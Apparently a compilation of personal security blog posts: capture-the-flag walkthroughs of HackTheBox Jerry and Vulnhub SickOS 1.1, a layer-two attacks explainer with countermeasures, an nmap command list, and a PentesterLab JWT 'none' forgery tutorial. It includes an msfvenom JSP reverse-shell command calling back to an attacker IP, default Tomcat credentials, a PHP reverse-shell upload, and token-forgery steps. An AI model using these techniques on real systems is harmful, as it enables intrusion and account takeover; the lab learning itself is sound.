​Jerry is a Windows 2012 server r2 machine that is running an Apache Tomcat server. This is my journey of exploitation.

​The first thing I decided to do was ping the host, at the IP address 10.10.10.95, I did this to make sure that my VPN was working, but also to make test the difficulty of the machine, as most Windows enabled firewalls will automatically block ping requests by default. If I am able to ping the machine, it lets me know that the firewall might be disabled.

​Next, I decided to conduct a quick nmap scan with the command:
# nmap -v -A 10.10.10.95
on my machine to gather some information. From here I understand that port 8080 is open, that it is running an Apache Tomcat server and that the OS seems to be Windows server 2012.

I then decided to access the Tomcat webpage at the URL: http://10.10.10.95:8080. From here, I decided to take to Google, to try and find documentation on the administration portal in Tomcat.

After Googling for some time, I learn that Tomcat does not call it's Administrator's admins, but instead  calls them managers. I also realize that I can access the portal through the link:http://10.10.10.95:8080/manager/html
​

​However soon, here I ran into an issue. The default username and password were incorrect, so I had to do some investigating, and by accidentally typing in the wrong username and password too many times, I was brought to this page.

​Well, it turns out that the username is tomcat and the password is s3cret! From here, I log into the manager's portal and am greeted by the following screen.

I soon begin to realize that all of the file formats are in *.war and that I can only upload *.war file types. So after doing some research, I realize that I can create payloads using metasploit! I create a *.war payload using the command:
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.57 LPORT=9000 -f war > shell.war
Next, I extract the shell.war file so that I can examine the jsp_shell file name for future use: #jar -xvf shell.war

​I then uploaded the file and clicked to start the service. After, I start a netcat session by using the command: # nc -nvlp 9000 
to start listening for any services that want to connect, in hopes that I can gain a reverse shell.
I then go back to the website and type into the URL:
http://10.10.10.95:8080/shell/weduzuzw.jsp
Please remember that the *.jsp file is the file name that was extracted earlier from the shell.war file.

​After waiting a few minutes we now have a reverse shell, success! Sadly however after doing some research there arises a problem where people cannot gain administrative access, however I will eventually come back to the machine after the issue has been resolved in hopes of gaining the adminstrator's role.

Layer two, in accordance to the OSI model, is an innately insecure layer. We have to understand that within our networks, security is only as strong as our weakest link and if a layer is compromised since it is at the lower end, it may never be detectable, making layer two security crucial.  Popular attacks that can arise on this layer are, VLAN Hopping, ARP spoofing, STP attacks, CAM table overflows, DHCP spoofing, and CDP/LLDP Reconnaissance. Here, we are going to examine what each attack is and certain counter measures you can take to prevent them.

1. VLAN Hopping:
      Now, the goal of VLAN Hopping is to send traffic to a different VLAN from your own and we can accomplish this by one of two methods, switch spoofing or by double tagging. Switch spoofing is the idea of connecting to a switch within the network and setting up a trunk. Thus allowing the hacker to analyze the traffic and possibly alter it if the switch receives traffic from multiple VLANs. This attack takes advantage of the default enabled dynamic trunking. To prevent this, disabling dynamic trunking on all non-trunk ports should do the trick.
Double tagging however is a bit different. VLANs offer security by isolating traffic, this is done through tagging. However since tags can be nested, meaning that you can have a tag on-top of another tag, if the traffic being received by a switch has the tag of the native VLAN for that switch, then the switch will remove the outer tag and forward the traffic to the VLAN of the second tag, thus hopping a VLAN.

2. ARP Spoofing:
        The goal of ARP Spoofing is to attempt to impersonate a computer within the same network. This can be done because ARP is an innately insecure protocol because it does not have a check operation. Therefore, if Bob's computer wants to communicate with Alice's and asks for her MAC address, but instead Susan replies, then all of the traffic sent from Bob that is supposed to go to Alice will instead be sent to Susan. You can counteract this by allowing Dynamic ARP Inspection, which verifies all ARP requests and responses sent across the network, segmenting out LANs to be as small as possible, and always keeping 802.1x in mind.

​3. STP Attacks:
      Spanning Tree Protocol is used to prevent loops within a network, thus making it an extremely crucial protocol. Because STP attempts to always find the best paths throughout the network, if an attacker, connects a device that triggers the optimization operation it can affect how traffic flows and can possibly re-route traffic through the newly connected switch. Due to the pause of STP, this can create a Denial of Service, greatly reducing the flow of traffic if repeated. You can counteract this by enabling Root Guard on the switches ports that should not become root ports and using BPDU Guard on all ports that have PortFast enabled.

4. CAM Table Overflows:
     The CAM table is responsible for learning which MAC addresses are connected to which interfaces on the switch and sending the traffic in accordance to this table. This is a highly effective mechanism as the more addresses are learned the less broadcasts are needed, thus saving bandwidth. However each table can only be so large, therefore if this limit is reached, all traffic from unknown MAC addressed gets flooded throughout every interface. This leads to a Denial of Service as the switch, along with the network, eventually crawls to a halt. However, this can be counteracted by enabling Port Security to limit the number of MAC addresses that can be learned per-interface. 

5. DHCP spoofing:
     Similar to ARP spoofing, the goal of DHCP spoofing is to attempt to impersonate a computer. However in this case the computer is the DHCP server within the network. If the attacker connects a malicious DHCP server to the network, whenever a client requests an IP address the server that responds the fastest gets to assign the client an address and can control the gateway seen by that device. If the attack works perfectly, the hacker can re-route the traffic to his or herself and then send all of the traffic to the correct gateway, thus creating a MITM attack. The best way to counteract this attack is to use DHCP snooping, where you can configure ports to be either trusted on un-trusted.

6. CDP/LLDP Reconnaissance:
   Link Layer Discovery Protocol and the Cisco propriety, Cisco Discovery Protocol, do essentially the same thing, they attempt to discover what type of device is connected to a particular port mainly for troubleshooting purposes. The issue however is that this information is available for anyone on the network, so if an attacker is able to listen in, he or she can gain this information as well. The best countermeasure is to simply disable the default enabled Cisco Discovery Protocol on your routers.

Nmap is one of the most important and versatile tools in any hacker's toolbox. It's powerful engine along with it's ease of use allows people who have no prior command line experience to pick it up fairly quickly. Personally, I have used nmap to help exploit systems but also to tell me what ports are open on a printer so I can access the web portal. Overall it is an extremely useful tool and below I am going to explain the 10 most useful Nmap commands you should learn.

At number 10: Traditional Scan (mostly checks to see if host is alive)
# nmap [IP address]

Example 9: A ping scan of the network:
# nmap -sP [network ID/subnet CIDR] 

Number 8: SYN TCP port scan from ports 1 to 65535
# nmap -sS -p1-65535 [IP address]
 
Number 7: UDP port scan from ports 1 to 65535
# nmap -sU -p1-65535 [IP address]

Number 6: Skip the ping, scan specific ports for activity
# nmap -sn -p22,80,443 [IP address]
 
Number 5: OS detection with an aggressive scan
# nmap -O -A [IP address]

Number 4: Conducts an ACK TCP scan and attempts to find the versions of what is running on the ports
# nmap -sV -sA -p22,80,8080 [IP address]

Number 3: Spoofs the IP address on interface eth0, while fragmenting the packets, and conducting an ACK scan
# nmap -S [Spoof source IP address] -e eth0 -f -p20,21,22,2380,143,443,589,8080 -sA [IP address]

Number 2: Incorporating Nikto into your Nmap Scan
# nmap -p80,443 [IP address] -oG - | nikto -h -

Number 1: Nmap Scripting engine
# nmap --script-help=
Example script: http-brute, sshv1, smb-vuln-ms10-054,...

The nmap scripting engine is an incredibly useful tool, that I recommend everyone to learn.

This exercise can be found on PentesterLab Pro, underneath JSON Web Token.

Before we can begin exploiting JSON Web Token (JWT) authentication, we have to understand how it behaves. Now this vulnerability was discovered in 2015 and has since evolved over the years. This exploit works because of the design flaw in how the signature and header interact. In order to sign the header, you need the header to verify the signature, but at the same time you also need the signature to verify the header. If an attacker receives as JWT where the header is not signed, it allows the attacker to alter both the header and the algorithm for the signature and the server will still verify the signature, this is possible because JWT supports an option to have the algorithm as None within a signature. This can allow an attacker to alter the token to give a user administrative access to a particular website. Now given, this vulnerability can now be prevented by disabling the None option within the signature.

 To begin the exploitation, first you have to access the website.

After clicking on the Register tab in the navigation bar we can insert in a username and password. I personally chose user1 and letmein. The reason we have to do this is that right now, we don't have a user's cookie, after we create a user, we can then intercept the cookie and decode it to figure out the format.

I personally used the tool Burpsuite Community Edition to proxy the traffic coming from the browser, that way I could grab and modify the requests. Below we see a request being sent from our computer to the web-server.

After the user was successfully registered we were forwarded to the welcome site. Within the request in the Cookie: category next to auth= we can see the header and signature separated by periods. Now this cookie is encoded in base64, which we can decode in the Decoder tab of Burpsuite.

After pasting the cookie into the Decoder tab, we then have to decode, in base64, the parts separated by the periods. We can do this by highlighting which parts to decode per segment. After we decode we can then change "HS256" to "None" and "user1" to "admin" and delete everything following the last period. This changes the signature algorithm from HS256 to None, our logged in user from user1 to admin, and deletes the string signature. After this we have then have to encode in base64 both sections. Once again, remember to keep the parts separated. 

From here, we can go back to the Proxy tab and send the request that contained the cookie to Repeater. We can then send several requests using Repeater and the original cookie just to see the Response from the web-server. After doing this, we can then delete the cookie and paste our own that we re-encoded.

 After sending the request, we notice that the login was successful, as we were able to login as an admin! We can then go back to the website, refresh the page, change the cookie in the Proxy tab request to the one of the admin and below the following page should display.

If you've reached this page then congratulations, you've successfully exploited JWT!

​Notes:

• Make sure to remove the CD drive after installing the operating system and booting successfully, as not doing this will prompt to ask to re-install.
• Run the command, as this will install the latest updates:

                 $ sudo apt-get update && sudo apt-get upgrade

SickOS 1.1 Walkthrough

SickOS is a Vulnhub machine created by D4rk and can be downloaded at the following link: https://www.vulnhub.com/entry/sickos-11,132/

The first thing I decided to do was find my own IP address, which was 10.0.2.15, I did this so that I could figure out the the subnet mask and the network ID so that I could conduct a scan.

Next, I conducted a scan with the information I had just learned the tool netdiscover:
#netdiscover -r 10.0.2.0/24 -i eth0
From here I was able to understand that the IP address of the SickOS machine was either 10.0.2.3 or 10.0.2.4, I understand this because I know that the first two IP addresses are used by VirtualBox. I then decided to try out 10.0.2.4 first because it was the last one detected.

I then conducted an nmap SYN scan with a higher time template so that I can get my scan results back faster and to my luck, my guess was correct. The IP address of the host was 10.0.2.4.

After running the first scan, I felt I did not have enough information to continue, so I ran an nmap scan again with the following command:
#nmap -v -A 10.0.2.4
That way I could grab more information about the host that I am attacking.
After realizing that http-proxy server had been setup on port 3128, I decided to access the webpage.

After receiving this page, I honestly ran into a dead end. There was nothing in the source code to suggest any vulnerabilites, so I decided to try my old friend robots.txt

And to my surprise, I realized the extension /wolfcms. And after typing into the url:
http://10.0.2.4/wolfcms
This was what displayed.

After crawling around for a bit, I found the following page.

Next, I came across an important hint, that suggested that a user has the name Administrator and that a portal might be present to edit the site.

After doing a quick google search I realize that Wolf CMS has an online portal and after typing the URL:
http://10.0.2.4/wolfcms/admin,
I was redirected to the the following site.

At first I tried the login information of administrator, admin, but this didn't work, so instead I tried admin, admin, and it worked! I don't know however what the /?/ means after the /wolfcms/, so I am hoping it doesn't prevent any exploitation.

I now decide that my best chance of gaining root access would be to exploit a file upload and hope to gain a reverse shell. However, I am still uncertain if the /?/ will have any affect, hopefully it won't!

After creating a simple php script that attempts to connect to my IP address with the open port of 9000, I then go back to the web portal in hopes of uploading this file.

Well it turns out that Wolf CMS has an entire public directory available from where it pulls the information for the websites from. After finding the upload file button and choosing the images directory, as I assumed that images directory would be less likely to have file extension filtering, I begin the upload process.

My file uploaded successfully! I then decided to access this path after logging out of the portal, in an attempt to hopefully run the script.

Before I run the script though, it is important that I set my computer to begin to listen for any attempted connections, that way the connection can be successfully made.

I now have a reverse shell on the server, but now I just need to find a way to exploit and gain root access.

Next, I then decided to search throughout the files of the server, to try and piece together any information that could help me gain root access. Well, it turns out that the website runs an SQL database and after examining the config.php file, I find the database username and password.

I then try and escalate my privileges in an attempt to gain root access, but it turns out that I must run the command through the terminal. I am not too certain what exactly that means, so instead I try to access the /etc/passwd file to check my permissions.

 After receiving the the file output I noticed that two login accounts work, one for root and one for sickos. After, I then disconnected, as I assumed that I must have just connected incorrectly and began the session again as I was unable to switch users. However, after doing some research, I learned that I was incorrectly spawning the shell, so I decided to use python to help spawn a shell with TTY so that I can interact with the system properly.

And as expected, the command to change users worked, and to my surprise the Database password was also the password for the sickos user!

After searching around for a bit in the root directory I find this message
Congratulations!